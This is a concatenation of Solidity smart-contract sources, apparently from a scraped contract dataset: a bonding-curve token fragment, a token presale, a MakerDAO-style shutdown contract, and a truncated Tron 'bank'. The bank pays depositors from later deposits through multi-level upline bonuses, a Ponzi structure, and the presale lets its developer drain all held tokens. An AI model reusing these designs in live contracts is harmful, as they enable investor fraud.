((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 147,261 | 549 |
c223205a578658568eedceabab577f3b603a533a11d749714373ec4867879a15
| 35,366 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/04/04997e91fcf0e47e510e2813561ebea2edcfea6c_AraSale.sol
| 4,160 | 17,344 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
contract AraSale is Ownable {
using SafeERC20 for ERC20;
using Address for address;
uint constant MIMdecimals = 10 ** 18;
uint constant ARAdecimals = 10 ** 9;
uint public constant MAX_SOLD = 70000 * ARAdecimals;
uint public constant PRICE = 5 * MIMdecimals / ARAdecimals ;
uint public constant MIN_PRESALE_PER_ACCOUNT = 50 * ARAdecimals;
uint public constant MAX_PRESALE_PER_ACCOUNT = 100 * ARAdecimals;
address public dev;
ERC20 MIM;
uint public sold;
address public ARA;
bool canClaim;
bool privateSale;
mapping(address => uint256) public invested;
mapping(address => bool) public claimed;
mapping(address => bool) public approvedBuyers;
mapping(address => bool) public blacklisted;
constructor(address _dev) {
MIM = ERC20(0x130966628846BFd36ff31a822705796e8cb8C18D);
dev = _dev;
sold = 0;
}
modifier onlyEOA() {
require(msg.sender == tx.origin, "!EOA");
_;
}
function _approveBuyer(address newBuyer_) internal onlyOwner() returns (bool) {
approvedBuyers[newBuyer_] = true;
return approvedBuyers[newBuyer_];
}
function approveBuyer(address newBuyer_) external onlyOwner() returns (bool) {
return _approveBuyer(newBuyer_);
}
function approveBuyers(address[] calldata newBuyers_) external onlyOwner() returns (uint256) {
for(uint256 iteration_ = 0; newBuyers_.length > iteration_; iteration_++) {
_approveBuyer(newBuyers_[iteration_]);
}
return newBuyers_.length;
}
function _deapproveBuyer(address newBuyer_) internal onlyOwner() returns (bool) {
approvedBuyers[newBuyer_] = false;
return approvedBuyers[newBuyer_];
}
function deapproveBuyer(address newBuyer_) external onlyOwner() returns (bool) {
return _deapproveBuyer(newBuyer_);
}
function _blacklistBuyer(address badBuyer_) internal onlyOwner() returns (bool) {
blacklisted[badBuyer_] = true;
return blacklisted[badBuyer_];
}
function blacklistBuyer(address badBuyer_) external onlyOwner() returns (bool) {
return _blacklistBuyer(badBuyer_);
}
function blacklistBuyers (address[] calldata badBuyers_) external onlyOwner() returns (uint256) {
for (uint256 iteration_ = 0; badBuyers_.length > iteration_; iteration_++) {
_blacklistBuyer(badBuyers_[iteration_]);
}
return badBuyers_.length;
}
function amountBuyable(address buyer) public view returns (uint256) {
uint256 max;
if (approvedBuyers[buyer] && privateSale) {
max = MAX_PRESALE_PER_ACCOUNT;
}
return max - invested[buyer];
}
function buyARA(uint256 amount) public onlyEOA {
require(sold < MAX_SOLD, "sold out");
require(sold + amount < MAX_SOLD, "not enough remaining");
require(amount <= amountBuyable(msg.sender), "amount exceeds buyable amount");
require(amount + invested[msg.sender] >= MIN_PRESALE_PER_ACCOUNT, "amount is not sufficient");
MIM.safeTransferFrom(msg.sender, address(this), amount * PRICE);
invested[msg.sender] += amount;
sold += amount;
}
// set ARA token address and activate claiming
function setClaimingActive(address ara) public {
require(msg.sender == dev, "!dev");
ARA = ara;
canClaim = true;
}
// claim ARA allocation based on old + new invested amounts
function claimARA() public onlyEOA {
require(canClaim, "cannot claim yet");
require(!claimed[msg.sender], "already claimed");
require(!blacklisted[msg.sender], "blacklisted");
if (invested[msg.sender] > 0) {
ERC20(ARA).transfer(msg.sender, invested[msg.sender]);
}
claimed[msg.sender] = true;
}
// token withdrawal by dev
function withdraw(address _token) public {
require(msg.sender == dev, "!dev");
uint b = IERC20(_token).balanceOf(address(this));
IERC20(_token).transfer(dev,b);
}
// manual activation of whitelisted sales
function activatePrivateSale() public {
require(msg.sender == dev, "!dev");
privateSale = true;
}
// manual deactivation of whitelisted sales
function deactivatePrivateSale() public {
require(msg.sender == dev, "!dev");
privateSale = false;
}
function setSold(uint _soldAmount) public onlyOwner {
sold = _soldAmount;
}
}
| 115,816 | 550 |
bb81ac2d6eadc4d3aa578a7d97e7888d6683a2676f2349ac8f75e049cb42e583
| 12,332 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/6d/6d82894A7cb14958FD5a7061C4b7f6747B488E36_End.sol
| 2,912 | 9,107 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.8.13;
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
interface VatLike {
function zar(address) external view returns (uint256);
function ilks(bytes32 ilk)
external
returns (uint256 Art, // [wad]
uint256 rate, // [ray]
uint256 spot, // [ray]
uint256 line, // [rad]
uint256 dust); // [rad]
function urns(bytes32 ilk, address urn)
external
returns (uint256 ink, // [wad]
uint256 art); // [wad]
function debt() external returns (uint256);
function move(address src, address dst, uint256 rad) external;
function hope(address) external;
function flux(bytes32 ilk, address src, address dst, uint256 rad) external;
function grab(bytes32 i, address u, address v, address w, int256 dink, int256 dart) external;
function suck(address u, address v, uint256 rad) external;
function cage() external;
}
interface DogLike {
function ilks(bytes32) external returns (address clip, uint256 chop, uint256 hole, uint256 dirt);
function cage() external;
}
interface VowLike {
function cage() external;
}
interface ClipLike {
function sales(uint256 id)
external
view
returns (uint256 pos, uint256 tab, uint256 lot, address usr, uint96 tic, uint256 top);
function yank(uint256 id) external;
}
interface PipLike {
function read() external view returns (bytes32);
}
interface SpotLike {
function par() external view returns (uint256);
function ilks(bytes32) external view returns (PipLike pip, uint256 mat); // [ray]
function cage() external;
}
contract End {
// --- Auth ---
mapping(address => uint256) public wards;
function rely(address usr) external auth {
wards[usr] = 1;
emit Rely(usr);
}
function deny(address usr) external auth {
wards[usr] = 0;
emit Deny(usr);
}
modifier auth() {
require(wards[msg.sender] == 1, "End/not-authorized");
_;
}
// --- Data ---
VatLike public vat; // CDP Engine
DogLike public dog;
VowLike public vow; // Debt Engine
SpotLike public spot;
uint256 public live; // Active Flag
uint256 public when; // Time of cage [unix epoch time]
uint256 public wait; // Processing Cooldown Length [seconds]
uint256 public debt; // Total outstanding zar following processing [rad]
mapping(bytes32 => uint256) public tag; // Cage price [ray]
mapping(bytes32 => uint256) public gap; // Collateral shortfall [wad]
mapping(bytes32 => uint256) public Art; // Total debt per ilk [wad]
mapping(bytes32 => uint256) public fix; // Final cash price [ray]
mapping(address => uint256) public bag; // [wad]
mapping(bytes32 => mapping(address => uint256)) public out; // [wad]
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event File(bytes32 indexed what, uint256 data);
event File(bytes32 indexed what, address data);
event Cage();
event Cage(bytes32 indexed ilk);
event Snip(bytes32 indexed ilk, uint256 indexed id, address indexed usr, uint256 tab, uint256 lot, uint256 art);
event Skim(bytes32 indexed ilk, address indexed urn, uint256 wad, uint256 art);
event Free(bytes32 indexed ilk, address indexed usr, uint256 ink);
event Thaw();
event Flow(bytes32 indexed ilk);
event Pack(address indexed usr, uint256 wad);
event Cash(bytes32 indexed ilk, address indexed usr, uint256 wad);
// --- Init ---
constructor() public {
wards[msg.sender] = 1;
live = 1;
emit Rely(msg.sender);
}
// --- Math ---
uint256 constant WAD = 10 ** 18;
uint256 constant RAY = 10 ** 27;
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x <= y ? x : y;
}
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = mul(x, y) / RAY;
}
function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = mul(x, WAD) / y;
}
// --- Administration ---
function file(bytes32 what, address data) external auth {
require(live == 1, "End/not-live");
if (what == "vat") vat = VatLike(data);
else if (what == "dog") dog = DogLike(data);
else if (what == "vow") vow = VowLike(data);
else if (what == "spot") spot = SpotLike(data);
else revert("End/file-unrecognized-param");
emit File(what, data);
}
function file(bytes32 what, uint256 data) external auth {
require(live == 1, "End/not-live");
if (what == "wait") wait = data;
else revert("End/file-unrecognized-param");
emit File(what, data);
}
// --- Settlement ---
function cage() external auth {
require(live == 1, "End/not-live");
live = 0;
when = block.timestamp;
vat.cage();
dog.cage();
vow.cage();
spot.cage();
emit Cage();
}
function cage(bytes32 ilk) external {
require(live == 0, "End/still-live");
require(tag[ilk] == 0, "End/tag-ilk-already-defined");
(Art[ilk],,,,) = vat.ilks(ilk);
(PipLike pip,) = spot.ilks(ilk);
// par is a ray, pip returns a wad
tag[ilk] = wdiv(spot.par(), uint256(pip.read()));
emit Cage(ilk);
}
function snip(bytes32 ilk, uint256 id) external {
require(tag[ilk] != 0, "End/tag-ilk-not-defined");
(address _clip,,,) = dog.ilks(ilk);
ClipLike clip = ClipLike(_clip);
(, uint256 rate,,,) = vat.ilks(ilk);
(, uint256 tab, uint256 lot, address usr,,) = clip.sales(id);
vat.suck(address(vow), address(vow), tab);
clip.yank(id);
uint256 art = tab / rate;
Art[ilk] = Art[ilk] + art;
require(int256(lot) >= 0 && int256(art) >= 0, "End/overflow");
vat.grab(ilk, usr, address(this), address(vow), int256(lot), int256(art));
emit Snip(ilk, id, usr, tab, lot, art);
}
function skim(bytes32 ilk, address urn) external {
require(tag[ilk] != 0, "End/tag-ilk-not-defined");
(, uint256 rate,,,) = vat.ilks(ilk);
(uint256 ink, uint256 art) = vat.urns(ilk, urn);
uint256 owe = rmul(rmul(art, rate), tag[ilk]);
uint256 wad = min(ink, owe);
gap[ilk] = gap[ilk] + (owe - wad);
require(wad <= 2 ** 255 && art <= 2 ** 255, "End/overflow");
vat.grab(ilk, urn, address(this), address(vow), -int256(wad), -int256(art));
emit Skim(ilk, urn, wad, art);
}
function free(bytes32 ilk) external {
require(live == 0, "End/still-live");
(uint256 ink, uint256 art) = vat.urns(ilk, msg.sender);
require(art == 0, "End/art-not-zero");
require(ink <= 2 ** 255, "End/overflow");
vat.grab(ilk, msg.sender, msg.sender, address(vow), -int256(ink), 0);
emit Free(ilk, msg.sender, ink);
}
function thaw() external {
require(live == 0, "End/still-live");
require(debt == 0, "End/debt-not-zero");
require(vat.zar(address(vow)) == 0, "End/surplus-not-zero");
require(block.timestamp >= when + wait, "End/wait-not-finished");
debt = vat.debt();
emit Thaw();
}
function flow(bytes32 ilk) external {
require(debt != 0, "End/debt-zero");
require(fix[ilk] == 0, "End/fix-ilk-already-defined");
(, uint256 rate,,,) = vat.ilks(ilk);
uint256 wad = rmul(rmul(Art[ilk], rate), tag[ilk]);
fix[ilk] = mul(wad - gap[ilk], RAY) / (debt / RAY);
emit Flow(ilk);
}
function pack(uint256 wad) external {
require(debt != 0, "End/debt-zero");
vat.move(msg.sender, address(vow), mul(wad, RAY));
bag[msg.sender] = bag[msg.sender] + wad;
emit Pack(msg.sender, wad);
}
function cash(bytes32 ilk, uint256 wad) external {
require(fix[ilk] != 0, "End/fix-ilk-not-defined");
vat.flux(ilk, address(this), msg.sender, rmul(wad, fix[ilk]));
out[ilk][msg.sender] = out[ilk][msg.sender] + wad;
require(out[ilk][msg.sender] <= bag[msg.sender], "End/insufficient-bag-balance");
emit Cash(ilk, msg.sender, wad);
}
}
| 29,872 | 551 |
74391ed58703e3aff3bdc36231aa1ef86f1f34337e7b41eb4a4496e6a81824f0
| 19,339 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TK/TK3kbAaX3bzFn3iPbn6AZqLvpMbHNDiubx_TronExBank.sol
| 4,400 | 18,300 |
//SourceUnit: 16079122562752_4048440491258161528.sol
pragma solidity >=0.5.4 <0.6.0;
contract TronExBank{
using SafeMath for uint;
uint constant public DEPOSIT_MIN_AMOUNT = 1000 trx;
uint constant public DAY_DEPOSIT_MIN_LIMIT = 500000 trx;
uint constant public CONTRACT_BALANCE_STEP = 1000000 trx;
uint constant public __INTEREST_RATE_STEP = 10;
uint constant public __MAX_BASE_INTEREST_RATE = 500;
uint constant public __MAX_INTEREST_RATE = 1000;
uint constant public __MARKETING_FEE_RATE = 800;
uint constant public __DEVOPS_FEE_RATE = 200;
uint constant public __WITHDRAW_SERVICE_FEE_RATE = 200;
uint[] public __UPLINE_BONUS = [
500,200,100,
50,50,
30,30,30,30,30,30,30,30,30,30,
100,100,100,100,100,100,100,100,100,100
];
uint constant public __PER10000 = 10000;
uint constant public DAY = 1 days;
uint constant public INTEREST_BEARING_PERIOD = DAY;
DepositLimit internal depositLimit;
uint public deposited;
uint public withdrawn;
uint public bonus;
uint public depositorNumber;
address payable public marketingAddress;
address payable public devopsAddress;
address payable public withdrawServiceAddress;
mapping (address => Depositor) internal depositors;
enum DepositType {
MAJOR,
MINOR
}
struct DepositLimit{
uint today;
uint todayLimit;
uint currentLimit;
uint tomorrowLimit;
}
struct Deposit {
uint amount;
uint maxInterest;
uint withdrawn;
uint lastWithdrawTime;
uint startTime;
bool isClosed;
DepositType depositType;
}
struct Depositor {
Deposit[] deposits;
address upline;
uint downlineCount;
uint deposited;
uint withdrawn;
uint bonus;
bool isUsed;
}
event Withdrawn(address indexed depositorAddress, uint amount);
event NewDeposit(address indexed depositorAddress, uint amount);
event MarketingAndDevOpsFeePayed(address indexed depositorAddress, uint marketingFee,uint devopsFee);
event WithdrawServiceFeePayed(address indexed depositorAddress, uint amount);
event BonusReceived(address indexed depositorAddress, address indexed uplineDepositorAddress, uint indexed level, uint amount);
constructor(address payable marketingAddr, address payable devopsAddr, address payable withdrawServiceAddr) public{
require(!isContract(marketingAddr) && !isContract(devopsAddr));
marketingAddress = marketingAddr;
devopsAddress = devopsAddr;
withdrawServiceAddress = withdrawServiceAddr;
depositLimit = DepositLimit(block.timestamp.div(DAY),DAY_DEPOSIT_MIN_LIMIT,DAY_DEPOSIT_MIN_LIMIT,DAY_DEPOSIT_MIN_LIMIT);
}
function deposit(address upline) public payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
uint val = msg.value;
require(val >= DEPOSIT_MIN_AMOUNT, "Minimum deposit amount 1000 TRX");
updateDepositLimit();
uint currentLimit = depositLimit.currentLimit;
if(val > currentLimit){
msg.sender.transfer(val.sub(currentLimit));
val = currentLimit;
}
Depositor storage depositor = depositors[msg.sender];
uint marketingFee = val.mul(__MARKETING_FEE_RATE).div(__PER10000);
uint devopsFee = val.mul(__DEVOPS_FEE_RATE).div(__PER10000);
marketingAddress.transfer(marketingFee);
devopsAddress.transfer(devopsFee);
emit MarketingAndDevOpsFeePayed(msg.sender,marketingFee,devopsFee);
Depositor storage upl = depositors[upline];
if (upline != msg.sender && depositor.upline == address(0) && upl.isUsed) {
depositor.upline = upline;
upl.downlineCount = upl.downlineCount.add(1);
}
address u = depositor.upline;
uint uplineTotal;
for(uint i = 0 ; i < 25 ; i++){
if(u==address(0))break;
Depositor storage uplineDepositor = depositors[u];
uint bonusLevel = i+1;
if(shouldTransferBonus(u,bonusLevel)){
uint amount = val.mul(__UPLINE_BONUS[i]).div(__PER10000);
address(uint160(u)).transfer(amount);
uplineDepositor.bonus = uint(uint(uplineDepositor.bonus).add(amount));
uplineTotal = uplineTotal.add(amount);
emit BonusReceived(msg.sender,u,bonusLevel,amount);
}
u = uplineDepositor.upline;
}
if(!depositor.isUsed){
depositor.isUsed = true;
depositorNumber++;
}
depositor.deposits.push(Deposit(val,val.mul(210).div(100),0,0,now,false,DepositType.MAJOR));
depositor.deposited += val;
deposited = deposited.add(val);
bonus = bonus.add(uplineTotal);
depositLimit.currentLimit = depositLimit.currentLimit.sub(val);
emit NewDeposit(msg.sender,val);
}
function withdraw() public{
Depositor storage depositor = depositors[msg.sender];
require(depositor.isUsed,"Depositor identity requires");
uint deadline = now;
uint __contract_balance_interest_rate = getContractBalanceInterestRate();
uint interest = calculateInterest(msg.sender,deadline);
require(interest > 0, "No interest to withdraw");
uint ctrBal = address(this).balance;
if(ctrBal < 2000000 trx)require(depositor.withdrawn.mul(2) < depositor.deposited , "Withdraw limit happens when your accumulative total withdraw has been more than 50% of your deposit and the contract balance is less than 2000000 trx.");
require(interest < ctrBal ,"Contract balance is not enough to pay the withdraw value.");
Deposit[] storage deposits = depositor.deposits;
for(uint i = 0 ; i < deposits.length ; i++){
if(!deposits[i].isClosed){
Deposit storage dp = deposits[i];
uint __base_interest_rate = calculateBaseInterestRate(dp,deadline);
uint currentInterest = calculateDepositInterest(dp,__base_interest_rate,__contract_balance_interest_rate);
uint interestWithdrawn = currentInterest.add(dp.withdrawn);
if(interestWithdrawn >= dp.maxInterest) {
dp.withdrawn = dp.maxInterest;
dp.isClosed = true;
}else{
dp.withdrawn = interestWithdrawn;
}
dp.lastWithdrawTime = deadline;
}
}
uint minorDepositAmount = interest.mul(30).div(100);
if(minorDepositAmount > DEPOSIT_MIN_AMOUNT){
depositor.deposits.push(Deposit(minorDepositAmount,minorDepositAmount.mul(210).div(100),0,0,deadline,false,DepositType.MINOR));
interest = interest.sub(minorDepositAmount);
}
if(interest >= 10 trx){
uint withdrawServiceFee = interest.mul(__WITHDRAW_SERVICE_FEE_RATE).div(__PER10000);
if(withdrawServiceFee < 3 trx) withdrawServiceFee = 3 trx;
withdrawServiceAddress.transfer(withdrawServiceFee);
msg.sender.transfer(interest.sub(withdrawServiceFee));
emit WithdrawServiceFeePayed(msg.sender,withdrawServiceFee);
}else{
msg.sender.transfer(interest);
}
withdrawn = withdrawn.add(interest);
depositor.withdrawn = depositor.withdrawn.add(interest);
emit Withdrawn(msg.sender, interest);
}
function getContractBalanceInterestRate() public view returns (uint){
return address(this).balance.div(CONTRACT_BALANCE_STEP).mul(__INTEREST_RATE_STEP); //
}
function getInterest() public view returns (uint){
require(depositors[msg.sender].isUsed,"Depositor identity requires");
return calculateInterest(msg.sender,now);
}
function getDepositInterestByIndex(uint index) public view returns (uint,uint,uint,uint){
require(depositors[msg.sender].isUsed,"Depositor identity requires");
Deposit[] memory deposits = depositors[msg.sender].deposits;
require(index < deposits.length,"deposit with this index is no found.");
Deposit memory dp = depositors[msg.sender].deposits[index];
uint __base_interest_rate = calculateBaseInterestRate(dp,now);
if(dp.isClosed)return (0,0,__base_interest_rate,0);
uint __contract_balance_interest_rate = getContractBalanceInterestRate();
uint __interest_rate = calculateDepositInterestRate(dp.depositType,__base_interest_rate,__contract_balance_interest_rate);
uint interest = calculateDepositInterest(dp,__interest_rate);
return (interest , __base_interest_rate , __contract_balance_interest_rate , __interest_rate);
}
function depositorStatistics() public view returns (uint,uint,address,uint,uint,uint,uint){
return depositorStatisticsByDepositorAddress(msg.sender);
}
function depositorStatisticsByDepositorAddress(address depositorAddress) public view returns (uint,uint,address,uint,uint,uint,uint){
Depositor storage depositor = depositors[depositorAddress];
return (calculateInterest(depositorAddress,now) , depositor.deposits.length , depositor.upline , depositor.downlineCount , depositor.deposited , depositor.withdrawn , depositor.bonus);
}
function getDepositByIndex(uint index) public view returns (uint,uint,uint,uint,uint,uint,bool,DepositType){
return getDepositByDepositorAddressAndIndex(msg.sender,index);
}
function getDepositByDepositorAddressAndIndex(address depositorAddress ,uint index) public view returns (uint,uint,uint,uint,uint,uint,bool,DepositType){
Depositor storage depositor = depositors[depositorAddress];
require(depositor.deposits.length>0,"No deposit found.");
Deposit[] storage deposits = depositor.deposits;
uint last = deposits.length-1;
if(index>last)index=last;
Deposit storage dp = deposits[index];
return (index , dp.amount , dp.maxInterest , dp.withdrawn , dp.lastWithdrawTime , dp.startTime , dp.isClosed , dp.depositType);
}
function shouldTransferBonus(address upline,uint bonusLevel) public view returns (bool){
Depositor storage upl = depositors[upline];
Deposit[] storage deposits = upl.deposits;
return !deposits[deposits.length-1].isClosed && upl.bonus < upl.deposited.mul(3) && upl.downlineCount >= bonusLevel;
}
